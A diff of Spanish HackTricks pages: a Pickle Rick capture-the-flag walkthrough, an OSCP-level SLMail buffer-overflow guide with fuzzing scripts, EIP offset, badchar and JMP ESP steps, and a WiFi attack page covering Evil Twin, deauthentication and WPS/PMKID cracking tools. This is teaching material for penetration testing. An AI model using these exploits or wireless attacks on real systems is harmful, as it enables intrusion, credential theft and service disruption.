* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -4,21 +4,21 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
![](../../.gitbook/assets/picklerick.gif) ![](../../.gitbook/assets/picklerick.gif)
Esta máquina fue categorizada como fácil y realmente lo fue. Esta máquina fue categorizada como fácil y fue bastante sencilla.
## Enumeración ## Enumeración
@ -28,21 +28,21 @@ Comencé **enumerando la máquina usando mi herramienta** [**Legion**](https://g
Como puedes ver, hay 2 puertos abiertos: 80 (**HTTP**) y 22 (**SSH**) Como puedes ver, hay 2 puertos abiertos: 80 (**HTTP**) y 22 (**SSH**)
Entonces, lancé legion para enumerar el servicio HTTP: Así que lancé Legion para enumerar el servicio HTTP:
![](<../../.gitbook/assets/image (234).png>) ![](<../../.gitbook/assets/image (234).png>)
Nota que en la imagen puedes ver que `robots.txt` contiene la cadena `Wubbalubbadubdub` Nota que en la imagen puedes ver que `robots.txt` contiene la cadena `Wubbalubbadubdub`
Después de algunos segundos revisé lo que `disearch` ya había descubierto: Después de unos segundos revisé lo que `disearch` ya había descubierto:
![](<../../.gitbook/assets/image (235).png>) ![](<../../.gitbook/assets/image (235).png>)
![](<../../.gitbook/assets/image (236).png>) ![](<../../.gitbook/assets/image (236).png>)
Y como puedes ver en la última imagen, se descubrió una página de **inicio de sesión**. Y como puedes ver en la última imagen se descubrió una página de **inicio de sesión**.
Revisando el código fuente de la página principal, se descubre un nombre de usuario: `R1ckRul3s` Revisando el código fuente de la página raíz, se descubre un nombre de usuario: `R1ckRul3s`
![](<../../.gitbook/assets/image (237) (1).png>) ![](<../../.gitbook/assets/image (237) (1).png>)
@ -54,11 +54,11 @@ Usando esas credenciales accederás a un portal donde puedes ejecutar comandos:
![](<../../.gitbook/assets/image (241).png>) ![](<../../.gitbook/assets/image (241).png>)
Algunos comandos como cat no están permitidos pero puedes leer el primer ingrediente (bandera) usando, por ejemplo, grep: Algunos comandos como cat no están permitidos, pero puedes leer el primer ingrediente (bandera) usando, por ejemplo, grep:
![](<../../.gitbook/assets/image (242).png>) ![](<../../.gitbook/assets/image (242).png>)
Luego utilicé: Luego usé:
![](<../../.gitbook/assets/image (243) (1).png>) ![](<../../.gitbook/assets/image (243) (1).png>)
@ -78,14 +78,14 @@ El usuario **www-data puede ejecutar cualquier cosa como sudo**:
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,76 +1,30 @@
## Explotación de Windows (Guía Básica - Nivel OSCP) # Explotación de Windows (Guía Básica - Nivel OSCP)
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! Otras formas de apoyar a HackTricks:
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
## **Comenzar instalando el servicio SLMail** ## **Comienza instalando el servicio SLMail**
## Reiniciar el servicio SLMail ## Reiniciar el servicio SLMail
Cada vez que necesites **reiniciar el servicio SLMail** puedes hacerlo usando la consola de Windows: Cada vez que necesites **reiniciar el servicio SLMail** puedes hacerlo utilizando la consola de Windows:
``` ```
net start slmail net start slmail
``` ```
![](<../.gitbook/assets/image (23) (1).png>)
## Plantilla de exploit básica en Python ## Plantilla de exploit básica en Python
```python
#!/usr/bin/python
import socket
# Create an array of buffers, from 10 to 2000, with increments of 20.
buffer=["A"]
counter=100
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.10',110))
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS '+string+'\r\n')
s.send('QUIT\r\n')
s.close()
```
Este es un ejemplo básico de plantilla de exploit en Python.
```python
#!/usr/bin/python
import socket
# Crea un array de buffers, desde 10 hasta 2000, con incrementos de 20.
buffer=["A"]
counter=100
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print "Fuzzing PASS con %s bytes" % len(string)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.10',110))
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS '+string+'\r\n')
s.send('QUIT\r\n')
s.close()
```
Este script crea un array de buffers de diferentes tamaños y envía una cadena de caracteres a un servidor de correo electrónico. El objetivo es encontrar la longitud máxima de caracteres que el servidor puede manejar sin fallar.
```python ```python
#!/usr/bin/python #!/usr/bin/python
@ -94,49 +48,49 @@ except:
``` ```
## **Cambiar la fuente de Immunity Debugger** ## **Cambiar la fuente de Immunity Debugger**
Ir a `Opciones >> Apariencia >> Fuentes >> Cambiar (Consolas, Negrita, 9) >> Aceptar` Ve a `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Adjuntar el proceso a Immunity Debugger:** ## **Adjuntar el proceso a Immunity Debugger:**
**Archivo --> Adjuntar** **File --> Attach**
![](<../.gitbook/assets/image (24) (1) (1).png>) ![](<../.gitbook/assets/image (24) (1) (1).png>)
**Y presionar el botón INICIAR** **Y presiona el botón START**
## **Enviar el exploit y verificar si EIP está afectado:** ## **Enviar el exploit y verificar si EIP se ve afectado:**
![](<../.gitbook/assets/image (25) (1) (1).png>) ![](<../.gitbook/assets/image (25) (1) (1).png>)
Cada vez que se interrumpe el servicio, se debe reiniciar como se indica al principio de esta página. Cada vez que interrumpas el servicio, debes reiniciarlo como se indica al principio de esta página.
## Crear un patrón para modificar EIP ## Crear un patrón para modificar el EIP
El patrón debe ser tan grande como el búfer que se utilizó para interrumpir el servicio anteriormente. El patrón debe ser tan grande como el búfer que usaste para interrumpir el servicio anteriormente.
![](<../.gitbook/assets/image (26) (1) (1).png>) ![](<../.gitbook/assets/image (26) (1) (1).png>)
``` ```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
``` ```
Cambia el buffer del exploit y establece el patrón y lanza el exploit. Cambie el buffer del exploit y establezca el patrón y lance el exploit.
Debería aparecer un nuevo fallo, pero con una dirección EIP diferente: Debería aparecer un nuevo fallo, pero con una dirección EIP diferente:
![](<../.gitbook/assets/image (27) (1) (1).png>) ![](<../.gitbook/assets/image (27) (1) (1).png>)
Comprueba si la dirección estaba en tu patrón: Verifique si la dirección estaba en su patrón:
![](<../.gitbook/assets/image (28) (1) (1).png>) ![](<../.gitbook/assets/image (28) (1) (1).png>)
``` ```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
``` ```
Parece que **podemos modificar el EIP en el offset 2606** del buffer. Parece que **podemos modificar el EIP en el desplazamiento 2606** del búfer.
Compruébalo modificando el buffer del exploit: Verificarlo modificando el búfer del exploit:
``` ```
buffer = 'A'*2606 + 'BBBB' + 'CCCC' buffer = 'A'*2606 + 'BBBB' + 'CCCC'
``` ```
Con este buffer, el EIP debería apuntar a 42424242 ("BBBB") y provocar un fallo. Con este buffer, el EIP que se estrelló debería apuntar a 42424242 ("BBBB")
![](<../.gitbook/assets/image (30) (1) (1).png>) ![](<../.gitbook/assets/image (30) (1) (1).png>)
@ -144,14 +98,15 @@ Con este buffer, el EIP debería apuntar a 42424242 ("BBBB") y provocar un fallo
Parece que está funcionando. Parece que está funcionando.
## Comprobar si hay espacio para shellcode en la pila ## Verificar espacio para Shellcode dentro del stack
600B deberían ser suficientes para cualquier shellcode potente. 600B deberían ser suficientes para cualquier shellcode potente.
Cambiemos el buffer: Vamos a cambiar el buffer:
``` ```
buffer = 'A'*2606 + 'BBBB' + 'C'*600 buffer = 'A'*2606 + 'BBBB' + 'C'*600
``` ```
```html
lanza el nuevo exploit y verifica el EBP y la longitud del shellcode útil lanza el nuevo exploit y verifica el EBP y la longitud del shellcode útil
![](<../.gitbook/assets/image (31) (1).png>) ![](<../.gitbook/assets/image (31) (1).png>)
@ -160,11 +115,12 @@ lanza el nuevo exploit y verifica el EBP y la longitud del shellcode útil
Puedes ver que cuando se alcanza la vulnerabilidad, el EBP apunta al shellcode y que tenemos mucho espacio para ubicar un shellcode aquí. Puedes ver que cuando se alcanza la vulnerabilidad, el EBP apunta al shellcode y que tenemos mucho espacio para ubicar un shellcode aquí.
En este caso, tenemos **desde 0x0209A128 hasta 0x0209A2D6 = 430B.** Suficiente. En este caso tenemos **desde 0x0209A128 hasta 0x0209A2D6 = 430B.** Suficiente.
## Verificar caracteres no permitidos ## Verificar caracteres no válidos
Cambia de nuevo el buffer: Cambia nuevamente el búfer:
```
``` ```
badchars = ( badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@ -188,15 +144,15 @@ buffer = 'A'*2606 + 'BBBB' + badchars
``` ```
Los badchars comienzan en 0x01 porque 0x00 casi siempre es malo. Los badchars comienzan en 0x01 porque 0x00 casi siempre es malo.
Ejecute repetidamente el exploit con este nuevo buffer eliminando los caracteres que se encuentren inútiles: Ejecuta repetidamente el exploit con este nuevo buffer eliminando los caracteres que se encuentren inútiles:.
Por ejemplo: Por ejemplo:
En este caso, se puede ver que **no se debe usar el carácter 0x0A** (nada se guarda en la memoria desde el carácter 0x09). En este caso puedes ver que **no debes usar el carácter 0x0A** (nada se guarda en la memoria desde el carácter 0x09).
![](<../.gitbook/assets/image (33) (1).png>) ![](<../.gitbook/assets/image (33) (1).png>)
En este caso, se puede ver que **se evita el carácter 0x0D**: En este caso puedes ver que **se evita el carácter 0x0D**:
![](<../.gitbook/assets/image (34) (1).png>) ![](<../.gitbook/assets/image (34) (1).png>)
@ -206,7 +162,7 @@ Usando:
``` ```
!mona modules #Get protections, look for all false except last one (Dll of SO) !mona modules #Get protections, look for all false except last one (Dll of SO)
``` ```
Se va a **listar los mapas de memoria**. Busque alguna DLL que tenga: Debes **enumerar los mapas de memoria**. Busca alguna DLL que tenga:
* **Rebase: False** * **Rebase: False**
* **SafeSEH: False** * **SafeSEH: False**
@ -216,7 +172,7 @@ Se va a **listar los mapas de memoria**. Busque alguna DLL que tenga:
![](<../.gitbook/assets/image (35) (1).png>) ![](<../.gitbook/assets/image (35) (1).png>)
Ahora, dentro de esta memoria debería encontrar algunos bytes JMP ESP, para hacerlo ejecute: Ahora, dentro de esta memoria debes encontrar algunos bytes JMP ESP, para hacerlo ejecuta:
``` ```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
@ -284,7 +240,7 @@ except:
print "Could not connect to "+ip+":"+port print "Could not connect to "+ip+":"+port
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Existen shellcodes que se **sobrescriben a sí mismos**, por lo tanto es importante siempre agregar algunos NOPs antes del shellcode. Existen shellcodes que se **sobrescribirán a sí mismos**, por lo tanto, es importante siempre agregar algunos NOPs antes del shellcode
{% endhint %} {% endhint %}
## Mejorando el shellcode ## Mejorando el shellcode
@ -295,12 +251,14 @@ EXITFUNC=thread -e x86/shikata_ga_nai
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
@ -19,15 +19,15 @@ Otras formas de apoyar a HackTricks:
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores! Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\ **Perspectivas de Hacking**\
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking Participa en contenido que explora la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\ **Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\ **Últimos Anuncios**\
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de las plataformas
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo! **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
## Comandos básicos de Wifi ## Comandos básicos de Wifi
```bash ```bash
@ -50,6 +50,8 @@ git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup ./kali-setup
``` ```
### Airgeddon ### Airgeddon
Airgeddon es una herramienta de prueba de penetración todo en uno para redes inalámbricas. Permite a los pentesters realizar una variedad de ataques contra redes Wi-Fi, como ataques de deautenticación, ataques de fuerza bruta, ataques de Evil Twin, y más. Airgeddon simplifica el proceso de prueba de penetración de redes inalámbricas al proporcionar una interfaz gráfica de usuario fácil de usar y una amplia gama de funciones y herramientas integradas.
```bash ```bash
mv `which dhcpd` `which dhcpd`.old mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server apt install isc-dhcp-server
@ -70,7 +72,7 @@ v1s1t0r1sh3r3/airgeddon
``` ```
### wifiphisher ### wifiphisher
Puede realizar ataques Evil Twin, KARMA y Known Beacons y luego usar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales. Puede realizar ataques de Evil Twin, KARMA y Beacons Conocidos y luego utilizar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales.
```bash ```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory cd wifiphisher # Switch to tool's directory
@ -81,63 +83,63 @@ sudo python setup.py install # Install any dependencies
Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente: Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente:
* Configura la interfaz en modo monitor * Configura la interfaz en modo monitor
* Escanea redes posibles - Y te permite seleccionar la(s) víctima(s) * Escanea posibles redes - Y te permite seleccionar a la(s) víctima(s)
* Si es WEP - Lanza ataques WEP * Si es WEP - Lanza ataques WEP
* Si es WPA-PSK * Si es WPA-PSK
* Si es WPS: Ataque Pixie dust y el ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta puede llevar mucho tiempo). Ten en cuenta que no intenta PIN nulo o PINs de base de datos/generados. * Si es WPS: Ataque Pixie dust y ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta puede llevar mucho tiempo). Ten en cuenta que no intenta PIN nulo o PIN generados de base de datos.
* Intenta capturar el PMKID del AP para descifrarlo * Intenta capturar el PMKID del AP para crackearlo
* Intenta desautenticar clientes del AP para capturar un handshake * Intenta desautenticar clientes del AP para capturar un handshake
* Si PMKID o Handshake, intenta fuerza bruta usando las 5000 contraseñas más comunes. * Si tiene PMKID o Handshake, intenta fuerza bruta usando las 5000 contraseñas principales.
## Resumen de ataques ## Resumen de Ataques
* **DoS** * **DoS**
* Desautenticación/desasociación -- Desconectar a todos (o un ESSID/Cliente específico) * Paquetes de desautenticación/desasociación -- Desconectar a todos (o a un ESSID/Cliente específico)
* APs falsos aleatorios -- Ocultar redes, posibles bloqueos de escáneres * APs falsos aleatorios -- Ocultar redes, posibles bloqueos de escáneres
* Sobrecargar AP -- Intentar matar el AP (generalmente no muy útil) * Sobrecargar AP -- Intentar desactivar el AP (generalmente no muy útil)
* WIDS -- Jugar con el IDS * WIDS -- Jugar con el IDS
* TKIP, EAPOL -- Algunos ataques específicos para DoS algunos APs * TKIP, EAPOL -- Algunos ataques específicos para DoS en algunos APs
* **Cracking** * **Cracking**
* Descifrar **WEP** (varias herramientas y métodos) * Crackear **WEP** (varias herramientas y métodos)
* **WPA-PSK** * **WPA-PSK**
* **WPS** pin "Fuerza Bruta" * PIN de **WPS** "Fuerza bruta"
* **WPA PMKID** fuerza bruta * **WPA PMKID** fuerza bruta
* \[DoS +] **WPA handshake** captura + Descifrado * \[DoS +] Captura de **WPA handshake** + Cracking
* **WPA-MGT** * **WPA-MGT**
* **Captura de nombre de usuario** * Captura de **Nombre de usuario**
* **Fuerza bruta** Credenciales * **Fuerza bruta** de credenciales
* **Evil Twin** (con o sin DoS) * **Doble Malvado** (con o sin DoS)
* **Open** Evil Twin \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN * Doble Malvado **Abierto** \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
* **WPA-PSK** Evil Twin -- Útil para ataques de red si conoces la contraseña * Doble Malvado **WPA-PSK** -- Útil para ataques de red si conoces la contraseña
* **WPA-MGT** -- Útil para capturar credenciales de empresa * **WPA-MGT** -- Útil para capturar credenciales de empresa
* **KARMA, MANA**, **Loud MANA**, **Known beacon** * **KARMA, MANA**, **MANA Ruidoso**, **Señal conocida**
* **+ Open** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN * **+ Abierto** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
